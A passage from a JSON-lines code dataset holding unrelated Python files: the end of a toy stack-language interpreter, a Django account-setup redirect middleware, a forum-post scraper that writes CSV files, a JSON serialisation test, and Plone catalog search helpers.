self.getVal(a1)))\n\n else:\n raise Exception\n\n except Exception:\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n # exception raised at this positiopn!!!!!\n def AND(self):\n tupl = self.binaryOperator()\n\n if len(tupl) != 0:\n try:\n a1, b1 = tupl\n if((\"VAR:\" in b1) and (\"VAR:\" in a1)):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if isBool(a):\n if isBool(b):\n self.pushToStack(str(b and a))\n else:\n raise Exception\n else:\n raise Exception\n elif(not(\"VAR:\" in b1) and (\"VAR:\" in a1)):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n if isBool(a):\n if isBool(b1):\n self.pushToStack(str(self.getVal(b1) and a))\n else:\n raise Exception\n else:\n raise Exception\n\n\n elif((\"VAR:\" in b1) and not(\"VAR:\" in a1)):\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if isBool(b):\n if isBool(a1):\n self.pushToStack(str(b and self.getVal(a1)))\n else:\n raise Exception\n else:\n raise Exception\n\n elif (type(self.getVal(a1)) == type(True) and type(self.getVal(b1)) == type(True)):\n self.pushToStack(str(self.getVal(b1) and self.getVal(a1)))\n\n else:\n raise Exception\n except Exception:\n\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n else:\n self.pushError()\n def OR(self):\n tupl = self.binaryOperator()\n\n if len(tupl) != 0:\n try:\n a1, b1 = tupl\n if((\"VAR:\" in b1) and (\"VAR:\" in a1)):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if isBool(a):\n if isBool(b):\n self.pushToStack(str(b or a))\n else:\n raise Exception\n else:\n raise Exception\n elif(not(\"VAR:\" in b1) and (\"VAR:\" in a1)):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n if isBool(a):\n if isBool(b1):\n self.pushToStack(str(self.getVal(b1) or a))\n else:\n raise Exception\n else:\n raise Exception\n\n\n elif((\"VAR:\" in b1) and not(\"VAR:\" in a1)):\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if isBool(b):\n if isBool(a1):\n self.pushToStack(str(b or self.getVal(a1)))\n else:\n raise Exception\n else:\n raise Exception\n\n elif (type(self.getVal(a1)) == type(True) and type(self.getVal(b1)) == type(True)):\n self.pushToStack(str(self.getVal(b1) or self.getVal(a1)))\n\n else:\n raise Exception\n except Exception:\n\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n else:\n self.pushError()\n\n def BIND(self):\n\n tupl = self.binaryOperator()\n if len(tupl) == 0:\n self.pushToStack(\":error:\")\n else:\n try:\n a, b = tupl\n if a == \":error:\":\n raise Exception\n\n elif a == \":unit:\":\n bind(b[5:], self.currentEnvironment, a)\n self.pushToStack(\":unit:\")\n\n elif len(VariableList) != 0 and b[:4] == \"VAR:\":\n if bind(b[5:], self.currentEnvironment, a) == False:\n raise Exception\n self.pushToStack(\":unit:\")\n\n elif VariableList[search(a[5:], self.currentEnvironment)].value == None:\n raise Exception\n\n else:\n raise Exception\n\n except Exception:\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n\n\n\n\n#check\n def UnaryOp(self):\n if len(self.stack) >= 2:\n self.stack.pop()\n return self.stack.pop()\n else:\n self.stack.pop()\n return ()\n\n def NEG(self):\n a = self.UnaryOp()\n if(len(a) == 0):\n self.pushError()\n else:\n try:\n if \"VAR:\" == a[:4]:\n value = VariableList[search(a[5:], self.currentEnvironment)].value\n if isNum(value) or isNegNum(value):\n self.stack.append(str(-int(value)))\n return\n else:\n raise Exception\n elif isNum(a) or isNegNum(a):\n self.stack.append(str(-int(a)))\n else:\n raise Exception\n\n except Exception:\n self.stack.append(a)\n self.stack.append(\":error:\")\n\n def NOT(self):\n a = self.UnaryOp()\n if(len(a) == 0 ):\n self.pushError()\n else:\n try:\n if a == \":true:\":\n self.stack.append(\":false:\")\n elif a == \":false:\":\n self.stack.append(\":true:\")\n elif \"VAR:\" in a:\n value = VariableList[search(a[5:], self.currentEnvironment)].value\n if value == \":true:\":\n self.stack.append(\":false:\")\n elif value == \":false:\":\n self.stack.append(\":true:\")\n else:\n raise Exception\n else:\n raise Exception\n except Exception:\n self.stack.append(a)\n self.stack.append(\":error:\")\n\n\n\n\n def ternaryOp(self):\n if len(self.stack) >= 4 :\n self.stack.pop()\n a = self.stack[-1]\n b = self.stack[-2]\n c = self.stack[-3]\n self.stack.pop()\n self.stack.pop()\n self.stack.pop()\n return (a, b, c)\n else:\n self.stack.pop()\n return ()\n def IF(self):\n tupl = self.ternaryOp()\n if len(tupl) == 0:\n return self.pushToStack(\":error:\")\n else:\n try:\n a, b, c = tupl\n if c == \":true:\":\n self.pushToStack(tupl[0])\n elif c == \":false:\":\n self.pushToStack(tupl[1])\n\n elif \"VAR:\" in tupl[2]:\n value = VariableList[search(c[5:], self.currentEnvironment)].value\n if c == \":true:\":\n self.pushToStack(tupl[0])\n elif c == \":false:\":\n self.pushToStack(tupl[1])\n else:\n raise Exception\n else:\n raise Exception\n except Exception:\n self.pushToStack(tupl[0])\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[2])\n self.pushError()\n def POP(self):\n if len(self.stack) >= 2:\n self.stack.pop()\n self.stack.pop()\n\n else:\n self.stack.pop()\n self.stack.append(\":error:\")\n\n\n\n\n # parser or grammar checker\n\n # this evaluator takes the tokens and evaluates them, uses the\n # inputs from the local stack to this environment\n def evaluator(self, element):\n #print(\"evaluating\" + str(element))\n #print(\"EnvEval Recived: \" + element)\n # compiles fine\n if element[:4] == \"VAR:\":\n self.stack.append(element)\n addSymbol(element[5:], self.currentEnvironment, self.parentEnvironment)\n updateValue(element[5:], self.currentEnvironment)\n else:\n self.stack.append(element)\n\n\n if element == \"add\": self.ADD()\n elif element == \"sub\": self.SUB()\n elif element == \"mul\": self.MUL()\n elif element == \"div\": self.DIV()\n elif element == \"rem\": self.REM()\n elif element == \"swap\": self.SWAP()\n elif element == \"neg\": self.NEG()\n elif element == \"and\": self.AND()\n elif element == \"or\": self.OR()\n elif element == \"not\": self.NOT()\n elif element == \"equal\": self.EQUAL()\n elif element == \"lessThan\": self.LESSTHAN()\n elif element == \"bind\": self.BIND()\n elif element == \"if\": self.IF()\n elif element == \"pop\": self.POP()\n\n elif element == \"quit\":\n self.stack.pop()\n elif element == \"qui\":\n self.stack.pop()\n\n\n\n print(\"EVAL: \"+ str(element))\n print(\"STACK: \"+ str(self.stack))\n print(\"Current EnvState: \" + str(EnvRelation))\n print(\"VarL: \"+ str(VariableList))\n print(\"\\n\")\n\n\n #print(self.stack)\n #print(self.listOfVariables)\n #return self.stack\n\n\n\n\n\n\n\n\n\n\n\n\n\n############################ Backend\n\n\nTokenQueue = []\nEnvironmentLevel = 0\nCurrentStackIndex = 0\nGlobalStack = []\nEnvironmentList = []\nVariableList = []\nEnvRelation = {}\n\n\n\n#searches the current enviorment for the given name\n# returns the index in the variable list where the name is found\n# or returns flase if not existent\ndef searchEnv(name, env):\n index = 0\n for elem in VariableList:\n if (elem.environment == env) and (elem.variableName == name):\n return index\n else:\n index += 1\n\n return False\n\ndef searchBool(name, env):\n\n if searchEnv(name, env) is not False:\n return True\n else:\n return False\n\n# searches the scope where the variable can be found\n# retuns index where closes variable exists\n# returns false if it doesnt exist in symbol table\ndef search(name, env):\n if EnvRelation[env] == 0:\n return searchEnv(name, env)\n elif searchBool(name, env):\n return searchEnv(name, env)\n else:\n PE = EnvRelation[env]\n return search(name, PE)\n\n\n\n#searches the parent scope of the variable\ndef searchInScope(name, env):\n PE = EnvRelation[env]\n if EnvRelation[env] == 0:\n return searchEnv(name, env)\n elif searchBool(name, PE):\n return searchEnv(name, PE)\n else:\n return searchInScope(name, PE)\n\n\n#adds to current enviormemt\ndef addSymbol(name, CE, PE):\n possibleElem = searchEnv(name, CE)\n if possibleElem is False:\n VariableList.append(VarSymbol(name, CE, PE))\n\n\n# if variable has been previously bound, it updates the value\ndef updateValue(name, CE):\n\n possibleElem = searchInScope(name, CE)\n currentElem = searchEnv(name, CE)\n if VariableList[currentElem].value == None:\n if possibleElem is not False:\n VariableList[currentElem].value = VariableList[possibleElem].value\n return VariableList[currentElem].value\n\ndef getVal(name, CE):\n posIndex = search(name, CE)\n return VariableList[posIndex].value\n\n\ndef bind(name, CE, val):\n\n posIndex = search(name, CE)\n value = None\n\n if val == \":true:\" or val == \":false:\" or val == \":unit:\" or isNum(val) or isNegNum(val) or \"\\\"\" in val or \"-\" in val:\n value = val\n\n elif \"VAR:\" in val:\n value = VariableList[search(val[5:], CE)].value\n\n if value == None:\n return False\n\n VariableList[posIndex].value = value\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef importFromFile(input):\n inputFile = open(input, 'r')\n commandList = []\n\n for line in inputFile:\n commandList.append(line[:-1])\n\n inputFile.close()\n return commandList\n\n\n\n# only for push ops\ndef isNegNum(string):\n try:\n a = str(string)\n if len(a) > 1:\n if \"-\" == a[0] and a[1:].isdigit():\n return True\n else:\n False\n else:\n return False\n except Exception:\n return False\n return False\n\n\ndef isNum(string):\n if string == \":true:\" or string == \":false:\":\n return False\n try:\n a = str(string)\n return a.isdigit()\n except Exception:\n return False\n else:\n return False\n\n\ndef isBool(string):\n if type(string) == type(True):\n return True\n elif str(string) == \":true:\":\n return True\n elif str(string) == \":false:\":\n return True\n else:\n return False\n\ndef isName(string): return (string.isalnum() and not string.isdigit())\n\ndef pushERROR(): addToQueue(\":error:\")\n\ndef addToQueue(elem): TokenQueue.insert(0,elem)\n\n\n\n\n\n\n\ndef LexicalAnalysis(listOfString):\n\n for string in listOfString:\n possibleToken = ''\n\n\n if \"push\" in string:\n #addToQueue(\"push\")\n possibleToken = string[5:]\n\n # push NegNumber\n if isNegNum(possibleToken):\n addToQueue(str(int(possibleToken)))\n # push Real\n elif \".\" in str(possibleToken):\n pushERROR()\n # push int\n elif possibleToken.isdigit():\n addToQueue(str(int(possibleToken)))\n # is qualified Name\n elif isName(possibleToken):\n addToQueue(\"VAR: \" + possibleToken)\n # is string\n elif \"\\\"\" in possibleToken:\n addToQueue(possibleToken)\n elif possibleToken == \":true:\":\n addToQueue(possibleToken)\n elif possibleToken == \":false:\":\n addToQueue(possibleToken)\n # will take care of special chars\n else:\n pushERROR()\n\n elif \":true:\" == string: addToQueue(\":true:\")\n elif \":false:\" == string: addToQueue(\":false:\")\n elif \":error:\" == string: addToQueue(\":error:\")\n elif \"add\" == string: addToQueue(\"add\")\n elif \"sub\" == string: addToQueue(\"sub\")\n elif \"mul\" == string: addToQueue(\"mul\")\n elif \"div\" == string: addToQueue(\"div\")\n elif \"rem\" == string: addToQueue(\"rem\")\n elif \"neg\" == string: addToQueue(\"neg\")\n elif \"swap\" == string: addToQueue(\"swap\")\n elif \"pop\" == string: addToQueue(\"pop\")\n elif \"quit\" == string: addToQueue(\"quit\")\n elif \"and\" == string: addToQueue(\"and\")\n elif \"or\" == string: addToQueue(\"or\")\n elif \"not\" == string: addToQueue(\"not\")\n elif \"equal\" == string: addToQueue(\"equal\")\n elif \"lessThan\" == string: addToQueue(\"lessThan\")\n elif \"bind\" == string: addToQueue(\"bind\")\n elif \"if\" == string: addToQueue(\"if\")\n elif \"let\" == string: addToQueue(\"let\")\n elif \"end\" == string: addToQueue(\"end\")\n elif \"quit\" == string: addToQueue(\"quit\")\n elif \"qui\" == string: addToQueue(\"qui\")\n\n print(\"Lex Output: TokenQueue = \" + str(TokenQueue))\n\ndef inputAndParse(input):\n\n inputFile = importFromFile(input)\n inputFile.reverse()\n print(\"Input File: \" + str(inputFile))\n\n\n # This converts inputfile to tokens that that will be proccessed\n # by the environment handler\n LexicalAnalysis(inputFile)\n\n\n\ndef environmentInit(tokenQ):\n tokenQueue = tokenQ\n envCounter = 1\n currentEnv = 1\n prevEnv = 0\n\n #print(\"Tokens: \"+ str(tokenQ))\n\n global GlobalStack\n global EnvironmentList\n global EnvRelation\n\n EnvRelation[0] = None\n EnvRelation[envCounter] = prevEnv\n EnvironmentList.append(Environment(None, None))\n EnvironmentList.append(Environment(envCounter, prevEnv))\n\n for tokens in tokenQueue:\n\n if tokens == \"let\":\n envCounter +=1\n currentEnv = envCounter\n prevEnv += 1\n EnvRelation[envCounter] = prevEnv\n EnvironmentList.append(Environment(envCounter, prevEnv))\n print(\"Evaluating \\\"LET\\\"\\n\")\n continue\n #print(\"entering Let \"+ str(envCounter) + str(currentEnv) + str(prevEnv))\n if tokens == \"end\":\n print(\"Evaluating \\\"END\\\"\")\n EnvironmentList[prevEnv].stack.append(EnvironmentList[currentEnv].stack[-1])\n currentEnv = prevEnv\n prevEnv -= 1\n #print(\"entering END \"+ str(envCounter) + str(currentEnv) + str(prevEnv))\n continue\n if tokens == \"quit\":\n #print(\"\\tInput \\\"quit\\\": Ending Program\")\n break\n if tokens == \"qui\":\n #print(\"\\tInput \\\"quit\\\": Ending Program\")\n break\n\n #print(\"\\tCurrent_Enviorment = \" + str(currentEnv))\n #print(\"\\nPassing to EnvEval: \" + tokens)\n EnvironmentList[currentEnv].evaluator(tokens)\n\n GlobalStack = EnvironmentList[1].stack\n #print(\"\\nFINAL STACK: \" + str(GlobalStack) + \"\\n\")\n\n\n\n\n print(\"################## FINAL STATE ###################\")\n for elem in EnvironmentList:\n if elem.currentEnvironment == None:\n pass\n else:\n print(elem)\n\n print(\"Env Rel: \" + str(EnvRelation))\n print(\"VarL: \"+ str(VariableList))\n\ndef outputFile(output):\n outputFile = open(output, 'w')\n global GlobalStack\n\n GlobalStack.reverse()\n\n\n for element in GlobalStack:\n\n\n if \"\\\"\" == element[:1] and \"\\\"\" == element[:-1]:\n outputFile.write(element[1:-1] + '\\n')\n elif \"VAR:\" == element[:4]:\n outputFile.write(element[5:] + '\\n')\n else:\n outputFile.write(element + '\\n')\n\n outputFile.close()\n\n\n\ndef interpreter(input, output):\n inputAndParse(input)\n environmentInit(TokenQueue)\n outputFile(output)\n\n\ninterpreter(\"sample_input2.txt\", \"samO1.txt\")\n","sub_path":"interpreter.py","file_name":"interpreter.py","file_ext":"py","file_size_in_byte":34288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"77694888","text":"from django.http import HttpResponseRedirect\nfrom django.shortcuts import resolve_url\n\nok_paths = (\n '/account',\n '/api/logout'\n)\n\n\nclass AccountRedirectMiddleware:\n \"\"\"\n Middleware that redirects users to the account page to finish setting up their account.\n \"\"\"\n\n def __init__(self, get_response=None):\n self.get_response = get_response\n\n def __call__(self, request):\n if request.path not in ok_paths and request.user.is_authenticated():\n if not request.user.is_setup:\n return HttpResponseRedirect(resolve_url('account'))\n\n return self.get_response(request)\n","sub_path":"hublete/redirect_middleware.py","file_name":"redirect_middleware.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"509830495","text":"from utils import get_html_session\nfrom dateutil.relativedelta import relativedelta\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport pandas as pd\nimport traceback\nimport re\n\nweek_day_list = {\"Monday\": 0, \"Tuesday\": 1, \"Wednesday\": 2, \"Thursday\": 3, \"Friday\": 4, \"Saturday\": 5, \"Sunday\": 6,\n \"Yesterday\": -1, \"Today\": -1}\n\nmonth_list = {\"January\": 1, \"February\": 2, \"March\": 3, \"April\": 4, \"May\": 5, \"June\": 6, \"July\": 7, \"August\": 8, \"September\": 9, \"October\": 10,\n \"November\": 11, \"December\": 12, }\n\nLINKS_REGEX = r'(http|ftp|https)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?'\n\nINCELS_URL = \"https://redpilltalk.com\"\n\nINCELS_THREAD_BASE = \"https://redpilltalk.com\"\n\n\ndef build_index(link, dst, nump):\n session = get_html_session()\n\n # Gets the first page\n r = session.get(INCELS_URL+link+\"page/\" + str(1))\n\n # Find number of pages\n number_of_pages = int(r.html.find(\".pagination span a\")[-1].text)\n\n # Get a name of subforum\n subforum = r.html.find(\"#page-body h2\")[0].text\n\n df_list = []\n\n # Get data index\n for page_num in range(1, number_of_pages + 1, 1):\n print(\"Forum: {0} - Page {1}/{2}\".format(subforum,\n page_num, number_of_pages))\n\n r = session.get(INCELS_THREAD_BASE + link+\"page/\" + str(page_num))\n\n for thread in r.html.find(\"dl\"):\n\n author = ''\n if len(thread.find('dt a')) >= 2:\n author = thread.find('dt a')[1].text\n\n if thread.find(\".topictitle\"):\n\n thread_dict = {\n \"type\": None,\n \"title\": thread.find(\".topictitle\")[0].text,\n \"link\": str(list(thread.find(\".topictitle\")[0].links)[0]).replace(\"./\", \"/\"),\n \"author_topic\": author,\n \"replies\": int(str(thread.find(\".posts\")[0].text).replace(\"Replies\", \"\")),\n \"views\": int(str(thread.find(\".views\")[0].text).replace(\"Views\", \"\")),\n \"subforum\": subforum\n }\n\n df_list.append(thread_dict)\n\n # Export data index\n subforum = subforum.replace(\" \", \"_\")\n df = pd.DataFrame(df_list)\n df.to_csv(dst.replace(\".csv\", \"\")+\"_\"+subforum+\".csv\")\n\n\ndef build_topics_index(src, dst, nump):\n\n session = get_html_session()\n\n # Gets the first page\n r = session.get(INCELS_URL)\n\n df_list = []\n\n # Processing data topics index\n for thread in r.html.find(\".topiclist dl\"):\n\n if thread.find(\".feed-icon-forum\"):\n\n thread_dict = {\n \"link\": str(list(thread.find(\".forumtitle\")[0].links)[0]).replace(\"./\", \"/\"),\n \"subforum\": thread.find(\".forumtitle\")[0].text,\n }\n\n df_list.append(thread_dict)\n\n # Export data topics index\n df = pd.DataFrame(df_list)\n df.to_csv(dst)\n\n\ndef get_thread(link, session=None):\n\n session = get_html_session(session)\n link = INCELS_URL+link\n\n number_of_pages_post = get_num_pages_post(link, session)\n df_list = []\n\n count_post = 1\n\n # Processing post pages\n for thread_page in range(1, number_of_pages_post + 1, 1):\n for idx, post in enumerate(get_posts_page(link, thread_page, session)):\n try:\n post_dict = get_post(post, link, session)\n\n if post_dict:\n post_dict[\"number_post\"] = count_post\n\n df_list.append(post_dict)\n count_post = count_post + 1\n\n except Exception:\n traceback.print_exc()\n print(\"problem with post\", idx, \":\", link)\n\n df = pd.DataFrame(df_list)\n\n # Export data posts\n link_array = link[9:].split(\"=\")\n sufix = re.sub(\"/\", \"\", link_array[-1])\n df.to_csv(\"./data/forums/redpilltalk/posts/redpilltalk_\" +\n sufix + \".csv\", index=False)\n\n\ndef get_num_pages_post(link, session=None):\n session = get_html_session(session)\n r_post = session.get(link)\n\n # Get number pages for post\n try:\n number_of_pages_post = int(\n r_post.html.find(\".pagination span a\")[-1].text)\n except IndexError:\n number_of_pages_post = 1\n return number_of_pages_post\n\n\ndef get_posts_page(link, thread_page, session=None):\n session = get_html_session(session)\n r_post = session.get(link +\n \"&start=\" + str((int(thread_page)-1)*30))\n\n # Get elements post\n return r_post.html.find('#page-body article')\n\n\ndef get_post(post, link, session=None):\n\n if post.find(\".post-author\"):\n autor = str(post.find(\".post-author\")\n [0].text.replace(\"\\n\", \" \"))\n else:\n autor = None\n\n if post.find('dl dd'):\n joined_author = str(\n post.find('dl dd')[1].text.replace(\"\\n\", \" \")),\n else:\n joined_author = None\n\n if post.find('dl dd'):\n messages_author = str(\n post.find('dl dd')[0].text.replace(\"\\n\", \" \")),\n else:\n messages_author = None\n\n if post.find('.content'):\n\n # Verify interactions inter posts\n if post.find(\"blockquote\"):\n blockquoteList = post.find(\"blockquote\")\n id_post_interaction = []\n\n # Processing id interactions of post\n # for blockquot in blockquoteList:\n # if blockquot.find(\".d4p-bbt-quote-title a\"):\n # str_aux = str(blockquot.find(\n # \".d4p-bbt-quote-title a\")[0].links)\n #\n # str_aux = str_aux.split(\"-\")\n # id_post_aux = str_aux[-1].split(\"'\")\n # id_post_interaction.append(int(id_post_aux[0]))\n\n # number_blockquotes = post.find(\n # '.bbp-reply-content')[0].html.count(\"\")\n\n bs_text = BeautifulSoup(\n post.find('.content')[0].html, \"html.parser\")\n\n # for i in range(number_blockquotes):\n # try:\n # bs_text.blockquote.decompose()\n # except AttributeError:\n # pass\n\n content_html = str(bs_text)\n content_text = str(bs_text.get_text())\n else:\n content_text = str(post.find('.content')\n [0].text.replace(\"\\n\", \" \")),\n content_html = str(post.find('.content')\n [0].html.replace(\"\\n\", \" \")),\n id_post_interaction = []\n else:\n return False\n\n if post.find(\".author time\"):\n date_post = str(post.find(\".author time\")[\n 0].text.replace(\"\\n\", \" \")),\n else:\n date_post = ''\n\n # Data of post\n post_dict = {\n\n \"author\": autor,\n \"resume_author\": None,\n \"joined_author\": joined_author,\n \"messages_author\": messages_author,\n \"text_post\": str(content_text[0]),\n \"html_post\": str(content_html),\n \"number_post\": None,\n \"id_post\": int(post.attrs[\"id\"].replace(\"p\", \"\")),\n \"id_post_interaction\": id_post_interaction,\n \"date_post\": handle_date(date_post[0]),\n \"links\": re.findall(LINKS_REGEX, str(content_html)),\n \"thread\": link,\n }\n\n return post_dict\n\n\ndef handle_date(date_post):\n\n week_day = date_post.split()\n current_date = datetime.today().replace(\n hour=0, minute=0, second=0, microsecond=0)\n real_date = datetime.today()\n\n if \"ago\" in week_day:\n\n # handles date: case (1) month ago\n if \"month\" in week_day:\n number_day = int(week_day[0])\n real_date = current_date - relativedelta(months=number_day)\n \n # handles date: case (2) weeks ago\n elif \"week\" in week_day:\n number_day = int(week_day[0])*7\n real_date = current_date - relativedelta(days=number_day)\n\n # handles date: case (3) older post\n else:\n real_date = real_date.replace(day=1, month=int(month_list[week_day[0]]),\n year=int(week_day[1]), hour=0, minute=0, second=0, microsecond=0)\n\n return real_date\n","sub_path":"forums_tools/redpilltalk_utils.py","file_name":"redpilltalk_utils.py","file_ext":"py","file_size_in_byte":8149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"115150915","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/user/code/pyutil/pyutil/test/current/json_tests/test_separators.py\n# Compiled at: 2019-06-26 11:58:00\nimport textwrap\nfrom unittest import TestCase\nfrom pyutil import jsonutil as json\n\nclass TestSeparators(TestCase):\n\n def test_separators(self):\n h = [\n [\n 'blorpie'], ['whoops'], [], 'd-shtaeou', 'd-nthiouh', 'i-vhbjkhnth', {'nifty': 87}, {'field': 'yes', 'morefield': False}]\n expect = textwrap.dedent(' [\\n [\\n \"blorpie\"\\n ] ,\\n [\\n \"whoops\"\\n ] ,\\n [] ,\\n \"d-shtaeou\" ,\\n \"d-nthiouh\" ,\\n \"i-vhbjkhnth\" ,\\n {\\n \"nifty\" : 87\\n } ,\\n {\\n \"field\" : \"yes\" ,\\n \"morefield\" : false\\n }\\n ]')\n d1 = json.dumps(h)\n d2 = json.dumps(h, indent=2, sort_keys=True, separators=(' ,', ' : '))\n h1 = json.loads(d1)\n h2 = json.loads(d2)\n self.assertEqual(h1, h)\n self.assertEqual(h2, h)\n self.assertEqual(d2, expect)","sub_path":"pycfiles/pyutil-3.3.0.tar/test_separators.py","file_name":"test_separators.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"169977973","text":"# -*- coding: utf-8 -*-\n\"\"\"Various utilites.\"\"\"\n\nfrom five import grok\nfrom plone import api\nfrom zope.interface import Interface\nfrom zope.schema.interfaces import IContextSourceBinder\nfrom zope.schema.vocabulary import SimpleVocabulary\n\nfrom tribuna.content import _\nfrom tribuna.content.config import SEARCHABLE_TYPES\nfrom tribuna.content.config import SORT_ON_TYPES\n\n# Number of items to display\nLIMIT = 15\n\n\ndef get_articles(form):\n \"\"\"\n Get articles that match the filters in form.\n\n :param form: Selected filters\n :type form: Dictionary\n\n :returns: Related articles in intersection (first) and union (second)\n :rtype: Tuple of two Lists\n \"\"\"\n\n query = \"\"\n try:\n query = form.get(\"tags\").split(',')\n except AttributeError:\n pass\n\n if not query:\n return get_articles_home(form)\n\n tags_dict = tags_published_dict()\n query = [tags_dict.get(i) for i in query]\n\n review_state = \"published\"\n operator = \"or\"\n sort_order = \"descending\"\n\n filters = form.get(\"filters\")\n portal_type = []\n if filters:\n portal_type = [SEARCHABLE_TYPES.get(i) for i in filters.split(',')\n if SEARCHABLE_TYPES.get(i)]\n else:\n portal_type = SEARCHABLE_TYPES.values()\n\n sort_on = SORT_ON_TYPES.get(form.get(\"sort_on\")) or 'Date'\n\n catalog = api.portal.get_tool(name='portal_catalog')\n\n all_content = catalog(\n portal_type=portal_type,\n review_state=review_state,\n sort_on=sort_on,\n sort_order=sort_order,\n Subject={'query': query, 'operator': operator},\n )\n\n all_content = [content for content in all_content]\n all_content.sort(\n key=lambda x: count_same(x.Subject, query), reverse=True)\n all_content = all_content[:LIMIT]\n\n intersection_count = 0\n num_all_tags = len(query)\n for i in all_content:\n if count_same(i.Subject, query) == num_all_tags:\n intersection_count += 1\n else:\n break\n\n all_content = [content.getObject() for content in all_content]\n\n return (all_content[:intersection_count], all_content[intersection_count:])\n\n\ndef get_articles_home(form):\n \"\"\"\n Get all articles from highlighted tags. Called from home (with no filters)\n and from tags when no tags are selected (with filters).\n\n :param form: Selected filters\n :type form: Dictionary\n\n :returns: Related articles\n :rtype: List\n \"\"\"\n review_state = \"published\"\n operator = \"or\"\n sort_order = \"descending\"\n\n filters = form.get(\"filters\")\n portal_type = []\n if filters:\n portal_type = [SEARCHABLE_TYPES.get(i) for i in filters.split(',')\n if SEARCHABLE_TYPES.get(i)]\n else:\n portal_type = SEARCHABLE_TYPES.values()\n\n sort_on = SORT_ON_TYPES.get(form.get(\"sort_on\")) or 'Date'\n query = [i[1] for i in tags_published_highlighted()]\n\n catalog = api.portal.get_tool(name='portal_catalog')\n\n all_content = catalog(\n portal_type=portal_type,\n locked_on_home=True,\n review_state=review_state,\n sort_on=sort_on,\n sort_order=sort_order,\n sort_limit=LIMIT,\n Subject={'query': query, 'operator': operator}\n )[:LIMIT]\n\n currentLen = len(all_content)\n\n if currentLen < LIMIT:\n all_content += catalog(\n portal_type=portal_type,\n locked_on_home=False,\n review_state=review_state,\n sort_on=sort_on,\n sort_order=sort_order,\n sort_limit=(LIMIT - currentLen),\n Subject={'query': query, 'operator': operator}\n )[:(LIMIT - currentLen)]\n\n all_content = [content for content in all_content]\n all_content.sort(\n key=lambda x: count_same(x.Subject, query), reverse=True)\n all_content = all_content[:LIMIT]\n all_content = [content.getObject() for content in all_content]\n intersection_count = 0\n\n return (all_content[:intersection_count], all_content[intersection_count:])\n\n\ndef get_articles_search(form, use_filters=False):\n\n searchableText = form.get(\"query\")\n # XXX: Do we want to do it like this? Or just search for everything on\n # empty/missing query? It's more or less the same, but not exactly :).\n # This shouldn't happen anymore now, as an empty query goes back to the\n # tags view.\n if not searchableText:\n return get_articles_home(form)\n\n searchableText = our_unicode(searchableText)\n searchableText = searchableText.strip('\"')\n # Save it for the search on Subject\n searchableSubject = searchableText\n searchableText = prepare_search_string(searchableText)\n\n query = ''\n review_state = \"published\"\n operator = \"or\"\n sort_order = \"descending\"\n portal_type = SEARCHABLE_TYPES.values()\n sort_on = 'Date'\n\n if use_filters:\n try:\n query = form.get(\"tags\").split(',')\n except AttributeError:\n pass\n\n if query:\n tags_dict = tags_published_dict()\n query = [tags_dict.get(i) for i in query]\n else:\n query = []\n\n filters = form.get(\"filters\")\n portal_type = []\n if filters:\n portal_type = [SEARCHABLE_TYPES.get(i) for i in filters.split(',')\n if SEARCHABLE_TYPES.get(i)]\n else:\n portal_type = SEARCHABLE_TYPES.values()\n\n sort_on = SORT_ON_TYPES.get(form.get(\"sort_on\")) or 'Date'\n\n catalog = api.portal.get_tool(name='portal_catalog')\n\n if query:\n all_content = catalog(\n SearchableText=searchableText,\n portal_type=portal_type,\n review_state=review_state,\n sort_on=sort_on,\n sort_order=sort_order,\n Subject={'query': query, 'operator': operator},\n )\n else:\n all_content = catalog(\n SearchableText=searchableText,\n portal_type=portal_type,\n review_state=review_state,\n sort_on=sort_on,\n sort_order=sort_order,\n )\n # If we're not filtering by Subject, search by Subject too (it's not\n # actually a search, it's just a choice, Plone limitation).\n all_content += catalog(\n Subject=searchableSubject,\n portal_type=portal_type,\n review_state=review_state,\n sort_on=sort_on,\n sort_order=sort_order,\n )\n\n # XXX: If we want to split into intersection and union, uncomment the\n # bottom two paragraphs\n\n # all_content = [content for content in all_content]\n # all_content.sort(\n # key=lambda x: count_same(x.Subject, query), reverse=True)\n\n all_content = all_content[:LIMIT]\n\n intersection_count = 0\n\n # num_all_tags = len(query)\n # for i in all_content:\n # if count_same(i.Subject, query) == num_all_tags:\n # intersection_count += 1\n # else:\n # break\n\n # Use a set to get rid of duplicates (duplicates can appear when the query\n # is found both in text and in Subject), then convert back to list so we\n # can work with it.\n all_content = list(set(content.getObject() for content in all_content))\n\n return (all_content[:intersection_count], all_content[intersection_count:])\n\n\ndef count_same(li1, li2):\n \"\"\"\n Count how many common elements two lists have.\n\n :param li1: First list\n :type li1: List\n :param li2: Second list\n :type li2: List\n\n :returns: Number of common elements\n :rtype: Integer\n \"\"\"\n return len(set(li1).intersection(set(li2)))\n\n\ndef our_unicode(s):\n \"\"\"\n If not yet unicode, change it to unicode. Made because using the unicode()\n function on a string that is already unicode results in an error.\n\n :param s: String to be changed to unicode\n :type s: String\n\n 